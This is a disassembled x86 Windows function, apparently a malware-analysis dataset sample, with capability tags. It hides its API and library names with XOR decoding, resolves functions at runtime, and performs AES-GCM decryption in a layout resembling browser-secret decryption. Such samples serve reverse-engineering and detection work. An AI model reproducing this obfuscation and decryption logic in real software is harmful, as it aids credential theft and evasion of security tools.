Function at 0x402202
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push 0x120
mov eax, 0x43453a
call fcn.0041c69a
mov dword [ebp - 0x84], edx
mov ebx, ecx
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x98]
mov esi, str.sQAMEB
mov dword [ebp - 0x70], ebx
push 0x35
mov dword [ebp - 0x80], eax
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x31
xor byte [ebp + ecx - 0x98], dl
inc ecx
cmp ecx, 0xb
jl 0x40223a
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp byte [0x43f0fb], 0
lea edi, [ebp - 0x10c]
push 7
pop ecx
mov esi, str.sqAMEBxHTzPZQM_5.
mov dword [ebp - 0x6c], eax
rep movsd dword es:[edi], dword [esi]
je 0x402297
push 0x35
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x31
xor byte [ebp + ecx - 0x10c], dl
inc ecx
cmp ecx, 0x1c
jl 0x40227e
mov eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x10c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x43eae1], 0
lea edi, [ebp - 0xd4]
mov esi, str.sqAMEBd_MjISM_M48B
mov dword [ebp - 0x70], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x4022dd
push 0x35
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x31
xor byte [ebp + ecx - 0xd4], dl
inc ecx
cmp ecx, 0x12
jl 0x4022c7
lea eax, [ebp - 0xd4]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 6
pop ecx
mov esi, 0x43f0fc
mov dword [ebp - 0x7c], eax
lea edi, [ebp - 0xf0]
rep movsd dword es:[edi], dword [esi]
push 0x35
xor ecx, ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x31
xor byte [ebp + ecx - 0xf0], dl
inc ecx
cmp ecx, 0x1b
jl 0x402308
lea eax, [ebp - 0xf0]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x43f125], 0
lea edi, [ebp - 0xa8]
mov esi, str.sqAMEBs_ZHBLI_
mov dword [ebp - 0x74], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x402365
push 0x35
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x31
xor byte [ebp + ecx - 0xa8], dl
inc ecx
cmp ecx, 0xe
jl 0x40234f
lea eax, [ebp - 0xa8]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.sqAMEBs_JNISDuZ9A
mov dword [ebp - 0x88], eax
lea edi, [ebp - 0xc0]
push 0x35
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
xor edx, edx
mov eax, esi
div ecx
add dl, 0x31
xor byte [ebp + esi - 0xc0], dl
inc esi
cmp esi, 0x11
jl 0x402390
lea eax, [ebp - 0xc0]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 7
pop ecx
mov esi, str.sqAMEBtTVIQYP2_6_
mov dword [ebp - 0x78], eax
lea edi, [ebp - 0x12c]
rep movsd dword es:[edi], dword [esi]
push 0x35
xor ecx, ecx
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x31
xor byte [ebp + ecx - 0x12c], dl
inc ecx
cmp ecx, 0x1d
jl 0x4023cf
mov esi, dword [ebp - 0x6c]
lea eax, [ebp - 0x12c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x70]
mov edi, eax
mov dword [ebp - 0x8c], edi
test ecx, ecx
je 0x402462
cmp dword [ebp - 0x7c], 0
je 0x402462
cmp dword [ebp - 0x74], 0
je 0x402462
cmp dword [ebp - 0x88], 0
je 0x402462
cmp dword [ebp - 0x78], 0
je 0x402462
test edi, edi
je 0x402462
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], eax
test eax, eax
je 0x402462
push 0
push 0
push 0x43ea7c
lea eax, [ebp - 0x20]
push eax
call ecx
test eax, eax
jne 0x402462
push eax
push 0x20
push str.ChainingModeGCM
push str.ChainingMode
push dword [ebp - 0x20]
call dword [ebp - 0x7c]
test eax, eax
je 0x402487
push 0
push dword [ebp - 0x20]
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edi, ebx
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x14], 0xf
mov byte [ebx], al
mov eax, ebx
call fcn.0041c649
ret
mov eax, dword [ebp - 0x80]
cmp dword [eax + 0x14], 0xf
jbe 0x402492
mov eax, dword [eax]
xor ecx, ecx
push ecx
push dword [ebp - 0x70]
push eax
push ecx
push ecx
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
call dword [ebp - 0x74]
test eax, eax
jne 0x40245b
push 0x40
pop esi
push esi
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.0041dab0
mov ecx, dword [ebp - 0x84]
add esp, 0xc
mov dword [ebp - 0x68], esi
mov eax, ecx
mov dword [ebp - 0x64], 1
cmp dword [ecx + 0x14], 0xf
jbe 0x4024d4
mov eax, dword [ecx]
add eax, 3
mov dword [ebp - 0x5c], 0xc
cmp dword [ecx + 0x14], 0xf
mov edx, ecx
mov dword [ebp - 0x60], eax
jbe 0x4024eb
mov edx, dword [ecx]
lea eax, [ecx + 0x10]
mov dword [ebp - 0x4c], 0x10
mov dword [ebp - 0x74], eax
lea edi, [ebp - 0x1c]
mov eax, dword [eax]
add eax, 0xfffffff0
add eax, edx
mov dword [ebp - 0x50], eax
xor eax, eax
stosd dword es:[edi], eax
push 0x400
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
call fcn.00402774
mov dword [esp], 0x400
push edi
push eax
lea esi, [eax + 0x400]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], esi
call fcn.0041dab0
add esp, 0xc
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], edi
call fcn.0040271c
mov edx, dword [ebp - 0x84]
xor ecx, ecx
push 0xf
mov dword [ebp - 4], ecx
pop esi
mov dword [ebp - 0x28], ecx
cmp dword [edx + 0x14], esi
jbe 0x402562
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x28]
push eax
push 0x400
push dword [ebp - 0x1c]
lea eax, [ebp - 0x68]
push ecx
push ecx
push eax
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
sub eax, 0x1f
push eax
lea eax, [edx + 0xf]
push eax
push dword [ebp - 0x24]
call dword [ebp - 0x88]
push dword [ebp - 0x24]
test eax, eax
je 0x4025d9
call dword [ebp - 0x78]
push 0
push dword [ebp - 0x20]
call dword [ebp - 0x8c]
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x14], esi
mov byte [ebx], al
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x40247f
mov eax, dword [ebp - 0x14]
sub eax, ecx
push eax
push ecx
call fcn.004026d2
pop ecx
pop ecx
jmp 0x40247f
call dword [ebp - 0x78]
xor esi, esi
push esi
push dword [ebp - 0x20]
call dword [ebp - 0x8c]
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x28]
xor eax, eax
mov edi, ebx
push dword [ebp - 0x1c]
mov ecx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebx + 0x10], esi
mov dword [ebx + 0x14], esi
call fcn.0040265c
jmp 0x4025bb